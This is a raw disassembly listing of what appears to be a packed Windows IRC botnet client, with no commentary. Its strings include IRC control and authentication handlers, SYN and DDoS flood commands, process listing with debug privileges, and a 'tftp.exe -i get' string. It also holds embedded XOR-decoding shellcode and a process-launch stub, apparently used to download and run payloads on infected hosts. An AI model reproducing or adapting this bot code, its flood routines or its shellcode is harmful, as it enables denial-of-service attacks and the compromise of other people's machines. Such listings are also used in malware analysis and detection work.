aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_40997B+F2Do
		align 4
dword_421A34	dd 32310302h, 3531035Bh, 36E7953h, 0F5D3231h, 0	; DATA XREF: sub_40997B+F23o
					; sub_40997B+FEFo
dword_421A48	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40997B+F1Eo
					; sub_40997B+FEAo
aSynstop	db 'synstop',0          ; DATA XREF: sub_40997B+F05o
dword_421A5C	dd 32310302h, 3531035Bh, 46706354h, 646F6F6Ch, 5D323103h
					; DATA XREF: sub_40997B+EFBo
					; sub_40997B+FD1o
		dd 0Fh
dword_421A74	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40997B+EF6o
					; sub_40997B+FCCo
dword_421A80	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_40997B+EDDo
dword_421A8C	dd 32310302h, 3531035Bh, 3676F4Ch, 0F5D3231h, 0	; DATA XREF: sub_40997B+EBBo
dword_421AA0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40997B+EB6o
dword_421AAC	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40997B+E9Do
dword_421AB4	dd 726576h		; DATA XREF: sub_40997B+E86o
dword_421AB8	dd 3233626Eh, 7265762Eh, 6E6F6973h, 0 ;	DATA XREF: sub_40997B+E6Fo
dword_421AC8	dd 6F6Ch		; DATA XREF: sub_40997B+E58o
dword_421ACC	dd 3233626Eh, 676F6C2Eh, 74756Fh ; DATA	XREF: sub_40997B+E41o
dword_421AD8	dd 3233626Eh, 31642Eh	; DATA XREF: sub_40997B+E2Ao
dword_421AE0	dd 3233626Eh, 3331642Eh, 0 ; DATA XREF:	sub_40997B+E13o
dword_421AEC	dd 6E72h		; DATA XREF: sub_40997B+DFCo
dword_421AF0	dd 3233626Eh, 646E722Eh, 6B63696Eh, 0 ;	DATA XREF: sub_40997B+DE2o
dword_421B00	dd 3336h		; DATA XREF: sub_40997B+CADo
dword_421B04	dd 29h			; DATA XREF: sub_40997B+C85o
dword_421B08	dd 72686324h, 28h	; DATA XREF: sub_40997B+C45o
					; sub_40997B+C5Do ...
dword_421B10	dd 72657324h, 726576h	; DATA XREF: sub_40997B+C38o
dword_421B18	dd 646E7224h, 6B63696Eh, 0 ; DATA XREF:	sub_40997B+C25o
dword_421B24	dd 61686324h, 6Eh	; DATA XREF: sub_40997B+C08o
dword_421B2C	dd 65737524h, 72h	; DATA XREF: sub_40997B+BF5o
dword_421B34	dd 656D24h		; DATA XREF: sub_40997B+BE1o
dword_421B38	dd 642524h		; DATA XREF: sub_40997B+B73o
dword_421B3C	dd 2D642524h, 0		; DATA XREF: sub_40997B+AB8o
dword_421B44	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+9E3o
		dd 65735535h, 3203A72h,	73253231h, 20353103h, 67676F6Ch
		dd 69206465h, 2E6Eh
unk_421B74	db    2			; DATA XREF: sub_40997B+9C6o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  6Eh	; n
		db 2 dup(30h), 62h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5passwordAccep	db '5Password accepted.',0
unk_421B9C	db    2			; DATA XREF: sub_40997B+965o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  6Eh	; n
		db 2 dup(30h), 62h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5failedHostAut	db '5Failed host auth by: (%s!%s).',0
		align 10h
dword_421BD0	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40997B+8FEo
		dd 0A0Dh
dword_421BE8	dd 4E495001h, 47h	; DATA XREF: sub_40997B+8CAo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40997B+884o
		align 4
dword_421C0C	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40997B+867o
		dd 0D017325h, 0Ah
dword_421C28	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40997B+836o
unk_421C34	db    2			; DATA XREF: sub_40997B+76Fo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  6Eh	; n
		db 2 dup(30h), 62h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5failedPassAut	db '5Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40997B+75Do
					; sub_40997B+953o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40997B+746o
					; sub_40997B+93Co
		align 4
asc_421CB4:				; DATA XREF: sub_40997B+712o
		unicode	0, <~>,0
a332		db '332',0              ; DATA XREF: sub_40997B+633o
					; sub_40997B+9FBo ...
dword_421CBC	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+5B4o
		dd 65735535h, 3203A72h,	73253231h, 20353103h, 67676F6Ch
		dd 6F206465h, 2E7475h
dword_421CEC	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+58Do
		dd 696F4A35h, 2064656Eh, 6E616863h, 3A6C656Eh, 32310320h
		dd 2E7325h
dword_421D18	dd 333533h		; DATA XREF: sub_40997B+556o
aPart		db 'PART',0             ; DATA XREF: sub_40997B+508o
					; sub_40997B+5D1o
		align 4
aSS_2		db ':%s%s',0            ; DATA XREF: sub_40997B+4E0o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40997B+3B2o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+353o
					; sub_40997B+5F5o
dword_421D44	dd 32310302h, 3531035Bh, 6230306Eh, 5D323103h, 3103200Fh
					; DATA XREF: sub_40997B+337o
					; sub_40997B+4085o
		dd 65735535h, 31032072h, 3732532h, 6C203531h, 6567676Fh
		dd 756F2064h, 2E74h
aKick		db 'KICK',0             ; DATA XREF: sub_40997B+2C6o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40997B+275o
					; sub_40997B+2CC3o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40997B+24Do
a@:					; DATA XREF: sub_40997B+225o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40997B+215o
a005		db '005',0              ; DATA XREF: sub_40997B+200o
a001		db '001',0              ; DATA XREF: sub_40997B+1EBo
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40997B+1CFo
					; sub_40997B+399o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40997B+1B9o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40997B+19Fo
		align 10h
asc_421DC0:				; DATA XREF: sub_40997B+190o
					; sub_40997B+6F4o
		unicode	0, <!>,0
asc_421DC4	db ' :',0               ; DATA XREF: sub_40997B+82o
					; sub_40997B:loc_40A3D2o
		align 4
aSD		db ' %s (%d)',0         ; DATA XREF: sub_40DB61+BBo
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_40DB61+5Ao
					; sub_40DB61+185o
		align 4
dword_421DE8	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40DD29:loc_40DDB0o
a15processListF	db '15Process list failed.',0
		align 4
dword_421E14	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40DD29+80o
a15processListC	db '15Process list completed.',0
		align 4
dword_421E44	dd 32310302h, 3531035Bh, 636F7250h, 32310373h, 3200F5Dh
					; DATA XREF: sub_40DD29+19o
		dd 694C3531h, 6E697473h, 72702067h, 7365636Fh, 3A736573h
		dd 0
aConst		db 'const',0
		align 4
		dd 0
dword_421E7C	dd 1			; DATA XREF: sub_40E17A+7o
off_421E80	dd offset sub_40DE6E	; DATA XREF: sub_40E17A+4Cr
aLetter		db 'letter',0
		align 4
		dd 2 dup(0)
		dd offset sub_40DECC
aDnick		db 'dnick',0
		align 10h
		dd 0
		dd 2, 40DF19h
dword_421EAC	dd 69257325h, 0		; DATA XREF: sub_40DE6E+40o
					; .packed:0040E15Ao
aSSSSS		db '%s[%s|%s]%s[%s]',0  ; DATA XREF: .packed:0040E134o
a99		db '99',0               ; DATA XREF: .packed:loc_40E0F2o
		align 4
a0D		db '0%d',0              ; DATA XREF: .packed:0040E0CCo
aD:					; DATA XREF: .packed:loc_40E083o
		unicode	0, <D>,0
off_421ED0	dd offset byte_4B4E55	; DATA XREF: .packed:0040E063o
dword_421ED4	dd 345053h		; DATA XREF: .packed:0040E059o
dword_421ED8	dd 34h			; DATA XREF: .packed:0040E04Do
dword_421EDC	dd 335053h		; DATA XREF: .packed:0040E040o
dword_421EE0	dd 33h			; DATA XREF: .packed:0040E02Fo
dword_421EE4	dd 325053h		; DATA XREF: .packed:0040E022o
dword_421EE8	dd 315053h		; DATA XREF: .packed:0040E004o
dword_421EEC	dd 31h			; DATA XREF: .packed:0040DFF3o
dword_421EF0	dd 305053h		; DATA XREF: .packed:0040DFE6o
dword_421EF4	dd 4E55h		; DATA XREF: .packed:loc_40DFCAo
dword_421EF8	dd 3332h, 5EB02EBh, 0FFFFF9E8h,	0C9315BFFh, 0FFFFB966h
					; DATA XREF: .packed:0040DFC3o
		dd 0FF0E7380h, 0F9E243h, 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh
		dd 7380FFB1h, 0E243FF0Ch, 0F9h,	364C033h, 0C783040h, 8B0C408Bh
		dd 8BAD1C70h, 9EB0840h,	8D34408Bh, 408B7C40h, 3D08B3Ch
		dd 0CA8B3C40h, 8B784803h, 0DA8B2041h, 331C5903h, 57F633FFh
		dd 3CA8B57h, 7981100Ch,	7373650Ah, 8B027541h, 3798133h
		dd 72685474h, 3B8B0275h, 8304C083h, 0F68504C3h,	0FF85DB74h
		dd 0F203D774h, 0E857FA03h, 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_421FC4
		jnz	short loc_421FB0
		retn
; ---------------------------------------------------------------------------


loc_421FB0:				; CODE XREF: .packed:00421FADj
					; .packed:00421FBDj
		call	near ptr loc_421FB5+1


loc_421FB5:				; CODE XREF: .packed:loc_421FB0p
		add	[edx+0], ch
		call	sub_421FC4
		jz	loc_421FB0
		retn

; =============== S U B	R O U T	I N E =======================================



sub_421FC4	proc near		; CODE XREF: .packed:00421FA8p
					; .packed:00421FB8p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_421FC4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_421FF0	dd 32310302h, 3531035Bh, 72685450h, 73646165h, 73694C20h
					; DATA XREF: sub_40E293+10o
		dd 32310374h, 0F5Dh
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_40E464+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40E464+35o
		align 10h
dword_422050	dd 173Fh		; DATA XREF: sub_40EE62+Dr
		dd 9875h, 9873h
off_42205C	dd offset sub_40EF31	; DATA XREF: sub_41080Cr
		dd offset nullsub_3
		dd offset nullsub_3
dword_422068	dd 1B3Fh		; DATA XREF: sub_40EFAB+Dr
dword_42206C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_40F42D+2o
					; sub_40F436+2o
dword_422080	dd 2C8926AEh		; DATA XREF: sub_41018E+4w sub_410198r ...
		align 10h
off_422090	dd offset sub_41084A	; DATA XREF: sub_410C52+1Cr
dword_422094	dd 2			; DATA XREF: sub_416800+Er
					; sub_416839+46r ...
off_422098	dd offset aNull_0	; DATA XREF: sub_410DB0:loc_411114r
					; sub_410DB0+457r
					; "(null)"
off_42209C	dd offset aNull		; DATA XREF: sub_410DB0+259r
					; "(null)"
		dd 10h,	0
off_4220A8	dd offset off_4220A8	; DATA XREF: sub_4122EE+Do
					; sub_4122EE+69o ...
off_4220AC	dd offset off_4220A8	; DATA XREF: sub_4122EE:loc_41236Er
					; sub_4122EE+89w ...
		dd offset dword_4220C0
		dd offset dword_4220C0
dword_4220B8	dd 0FFFFFFFFh		; DATA XREF: sub_4122EEr
					; sub_412432:loc_41247Fw
		dd 0FFFFFFFFh
dword_4220C0	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.packed:004220B0o
					; .packed:004220B4o
off_4240C8	dd offset off_4220A8	; DATA XREF: sub_412432+15r
					; sub_412432+20w ...
dword_4240CC	dd 1E0h			; DATA XREF: sub_40E8C0:loc_40E8FCr
					; sub_414008+185r ...
dword_4240D0	dd 14h			; DATA XREF: sub_41301E+2o
off_4240D4	dd offset aExp		; DATA XREF: sub_41301E:loc_41303Br
					; "exp"
		dd 1Dh,	41A434h, 1Ah, 41A430h, 1Bh, 41A428h, 1Fh, 41A420h
		dd 13h,	41A418h, 21h, 41A410h, 0Eh, 41A408h, 0Dh, 41A400h
		dd 0Fh,	41A3F8h, 10h, 41A3F0h, 5, 41A3E8h, 1Eh,	41A3E4h
		dd 12h,	41A3E0h, 20h, 41A3DCh, 0Ch, 41A3D4h, 0Bh, 41A3CCh
		dd 15h,	41A3C4h, 1Ch, 41A3BCh, 19h, 41A3B4h, 11h, 41A3ACh
		dd 18h,	41A3A4h, 16h, 41A39Ch, 17h, 41A394h, 22h, 41A390h
		dd 23h,	41A38Ch, 24h, 41A388h
dbl_4241A8	dq 1.797693134862316e308 ; DATA	XREF: sub_412D59+B7r
					; sub_412D59:loc_412E40r ...
		dd 0
		dd 0FFF80000h
dbl_4241B8	dq 1.797693134862316e308 ; DATA	XREF: sub_412D59+92r
					; sub_412D59:loc_412E18r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_4241D0	dt 2.3562723457267347066e313 ; DATA XREF: sub_413206+Dr
					; sub_413206+1Fr
		align 4
tbyte_4241DC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_413206+31r
		align 4
off_4241E8	dd offset sub_41369A	; DATA XREF: sub_40EF49+Fw
					; sub_410DB0+3AAr
off_4241EC	dd offset sub_41332F	; DATA XREF: sub_40EF49+5w
					; sub_410DB0+3E2r
off_4241F0	dd offset sub_413395	; DATA XREF: sub_40EF49+14w
					; sub_414309+430r
off_4241F4	dd offset sub_4132D5	; DATA XREF: sub_40EF49+1Ew
					; sub_410DB0+3CBr
off_4241F8	dd offset sub_41337D	; DATA XREF: sub_40EF49+28w
off_4241FC	dd offset sub_41369A	; DATA XREF: sub_40EF49+32w
		dd offset sub_417206
		align 10h
		dd offset sub_413F5C
off_424214	dd offset sub_413F5C	; DATA XREF: sub_413FB2+29r
dword_424218	dd 0D2D0920h, 5Dh	; DATA XREF: sub_414309:loc_414870o
dword_424220	dd 5Dh			; DATA XREF: sub_414309:loc_414760o
off_424224	dd offset word_42422E	; DATA XREF: sub_40F8BC:loc_40F8ECr
					; sub_40F8BC:loc_40F9A9r ...
		dd offset word_42422E
		db 2 dup(0)
word_42422E	dw 20h			; DATA XREF: sub_418050+18r
					; .packed:off_424224o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_424430	dd 1			; DATA XREF: sub_40F8BC:loc_40F8D4r
					; sub_40F8BC:loc_40F991r ...
byte_424434	db 2Eh			; DATA XREF: sub_4132D5:loc_413315r
					; sub_41332F+4r ...
		align 4
		dd 1, 0
dword_424440	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_410C9B:loc_410D58o
					; sub_4150E6:loc_415167o
byte_424448	db 1			; DATA XREF: sub_415CA0+E1r
		db 2, 4, 8
		align 10h
dword_424450	dd 3A4h			; DATA XREF: sub_415CA0+2Fo
dword_424454	dd 82798260h, 21h, 0	; DATA XREF: sub_415CA0+11Dr
dword_424460	dd 0DFA6h		; DATA XREF: sub_415CA0+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_424540	dd 0C0000005h		; DATA XREF: sub_415CA0+3Co
					; sub_41624B+Ar ...
dword_424544	dd 0Bh			; DATA XREF: sub_418C45+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4245B8	dd 3			; DATA XREF: sub_41610A+58r
					; sub_418B18+C8r
dword_4245BC	dd 7			; DATA XREF: sub_41610A+5Er
					; sub_418B18+CDr
dword_4245C0	dd 0Ah			; DATA XREF: sub_41624B+4r
					; sub_418C45+4r
dword_4245C4	dd 8Ch			; DATA XREF: sub_41610A+82r
					; sub_41610A+8Fw ...
dword_4245C8	dd 2			; DATA XREF: sub_416839+Eo
					; sub_416839+28r
off_4245CC	dd offset aR6002FloatingP ; DATA XREF: sub_416839+FCr
					; sub_416839+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41A758h, 9, 41A72Ch, 0Ah,	41A708h, 10h, 41A6DCh
		dd 11h,	41A6ACh, 12h, 41A688h, 13h, 41A65Ch, 18h, 41A624h
		dd 19h,	41A5FCh, 1Ah, 41A5C4h, 1Bh, 41A58Ch, 1Ch, 41A564h
		dd 78h,	41A554h, 79h, 41A544h, 7Ah, 41A534h, 0FCh, 41A530h
		dd 0FFh, 41A520h
off_424658	dd offset dword_4BA580	; DATA XREF: sub_416839+1Bo
					; sub_4169F6+55o
		align 10h
		dd offset dword_4BA580
		dd 101h
dword_424668	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4169F6+72o
		dd 1000h, 0
dword_424678	dd 3 dup(0)		; DATA XREF: sub_410C9B+50o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_424698	dd 3 dup(0)		; DATA XREF: sub_410C9B+58o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4246C8	dd 84h dup(0)		; DATA XREF: sub_4169F6+9Bo
dword_4248D8	dd 2694h		; DATA XREF: sub_4129BB+3r
					; sub_412A0E+46r ...
		align 10h
dword_4248E0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_416FE6o
dword_4248F8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_416FFCo
dword_424910	dd 1			; DATA XREF: sub_4175A6+Co
dword_424914	dd 16h			; DATA XREF: sub_4175A6:loc_4175DBr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_424A78	dd 7080h		; DATA XREF: sub_4157E2+76r
					; sub_4175A6+19o ...
dword_424A7C	dd 1			; DATA XREF: sub_4157E2+98r
					; sub_417AF5+8Bw ...
dword_424A80	dd 0FFFFF1F0h		; DATA XREF: sub_4157E2:loc_415894r
					; sub_417AF5+94w ...
dword_424A84	dd 545350h, 0Fh	dup(0)	; DATA XREF: .packed:off_424B04o
dword_424AC4	dd 544450h, 0Fh	dup(0)	; DATA XREF: .packed:off_424B08o
off_424B04	dd offset dword_424A84	; DATA XREF: sub_417AF5+BAr
					; sub_417AF5+D9r ...
off_424B08	dd offset dword_424AC4	; DATA XREF: sub_417AF5+F4r
					; sub_417AF5+11Br ...
		align 10h
dword_424B10	dd 0FFFFFFFFh		; DATA XREF: sub_417AF5+1Dw
					; sub_417D53+1Er ...
dword_424B14	dd 0			; DATA XREF: sub_417D53:loc_417E87r
					; sub_417EFF+BFw
dword_424B18	dd 0			; DATA XREF: sub_417D53+192r
					; sub_417EFF+E0w
		align 10h
dword_424B20	dd 0FFFFFFFFh		; DATA XREF: sub_417AF5+17w
					; sub_417D53+26r ...
dword_424B24	dd 0			; DATA XREF: sub_417D53+13Ar
					; sub_417EFF+EAw ...
dword_424B28	dd 0			; DATA XREF: sub_417D53+1A1r
					; sub_417EFF+23r ...
dword_424B2C	dd 0FFFFFFFFh		; DATA XREF: sub_417EFF+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_424B5C	dd 16Dh			; DATA XREF: sub_4157E2+2Ar
					; sub_417EFF+2Er ...
dword_424B60	dd 0FFFFFFFFh		; DATA XREF: sub_417EFF:loc_417F8Br
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_424B98	dd 2 dup(0)		; DATA XREF: sub_41906D+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_424CF8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41906D+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_424E54	dd offset off_41A928	; DATA XREF: .packed:off_41A970o
					; .packed:0041AAD4o ...
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_424E6C	dd offset off_41A928	; DATA XREF: .packed:off_41A988o
					; .packed:0041A9C8o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_424E8C	dd offset off_41A928	; DATA XREF: .packed:off_41A9D0o
					; .packed:0041AA14o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_424EAC	dd offset off_41A928	; DATA XREF: .packed:off_41AA1Co
					; .packed:0041AA60o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_424ED0	dd offset off_41A928	; DATA XREF: .packed:off_41AA68o
					; .packed:0041AAA4o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_417206
		align 10h
dword_424EF0	dd 0			; DATA XREF: sub_4010F9+9Eo
byte_424EF4	db 0			; DATA XREF: sub_4010F9+36r
					; sub_4011DC+37r ...
		align 4
		dd 0
dword_424EFC	dd 2 dup(0)		; DATA XREF: sub_401E2D+68o
dword_424F04	dd 0			; DATA XREF: sub_4018CD+13o
					; .packed:00402B2Do ...
dword_424F08	dd 0			; DATA XREF: sub_40322E+2Aw
					; sub_40322E+51r ...
dword_424F0C	dd 0			; DATA XREF: sub_401000+81r
					; .packed:00402247r ...
		dd 2 dup(0)
dword_424F18	dd 0			; DATA XREF: sub_403430+18r
					; sub_403675+92w ...
dword_424F1C	dd 0			; DATA XREF: sub_4037AE+4Dr
					; sub_4039C6+D9w ...
		dd 7FEh	dup(0)
dword_426F18	dd 0			; DATA XREF: sub_4034A7+9Fw
					; sub_4034A7+11Fo
dword_426F1C	dd 41h dup(0)		; DATA XREF: sub_4034A7+55o
dword_427020	dd 41h dup(0)		; DATA XREF: sub_4034A7+80o
dword_427124	dd 0			; DATA XREF: sub_4034A7+115w
					; sub_4034A7+131r
dword_427128	dd 0			; DATA XREF: sub_4034A7+63w
dword_42712C	dd 0			; DATA XREF: sub_4034A7+6Fw
					; sub_4034A7+ECr
dword_427130	dd 20h dup(0)		; DATA XREF: sub_4034A7+B7o
					; sub_4034A7+D7o
dword_4271B0	dd 0			; DATA XREF: sub_4034A7+ACw
dword_4271B4	dd 0			; DATA XREF: sub_4034A7+C4w
					; sub_4034A7+E4w
dword_4271B8	dd 0			; DATA XREF: sub_4034A7:loc_4035F0r
		align 10h
dword_4271C0	dd 7 dup(0)		; DATA XREF: sub_4037AE+D2o
					; sub_4037AE+13Bo ...
dword_4271DC	dd 77C72C6Bh		; DATA XREF: sub_403C25+489w
					; sub_403C25+4CDr
dword_4271E0	dd 77EBA994h		; DATA XREF: sub_403C25+65w
					; sub_40DB61+FCr
dword_4271E4	dd 7622A3F4h		; DATA XREF: sub_403C25+7EDw
					; sub_403C25+862r ...
dword_4271E8	dd 71C45229h		; DATA XREF: sub_403C25+9BAw
					; sub_403C25+A18r
dword_4271EC	dd 71C24870h		; DATA XREF: sub_403C25+96Cw
					; sub_403C25+9E8r
dword_4271F0	dd 77C71BB0h		; DATA XREF: sub_403C25+46Fw
					; sub_403C25+4BDr
dword_4271F4	dd 77D4808Bh		; DATA XREF: sub_403C25+213w
					; sub_403C25+234r
dword_4271F8	dd 71C4502Ch		; DATA XREF: sub_403C25+9ADw
					; sub_403C25+A10r
dword_4271FC	dd 77DE801Bh		; DATA XREF: sub_403C25+354w
					; sub_403C25+3A9r
dword_427200	dd 77DDACABh		; DATA XREF: sub_403C25+3F1w
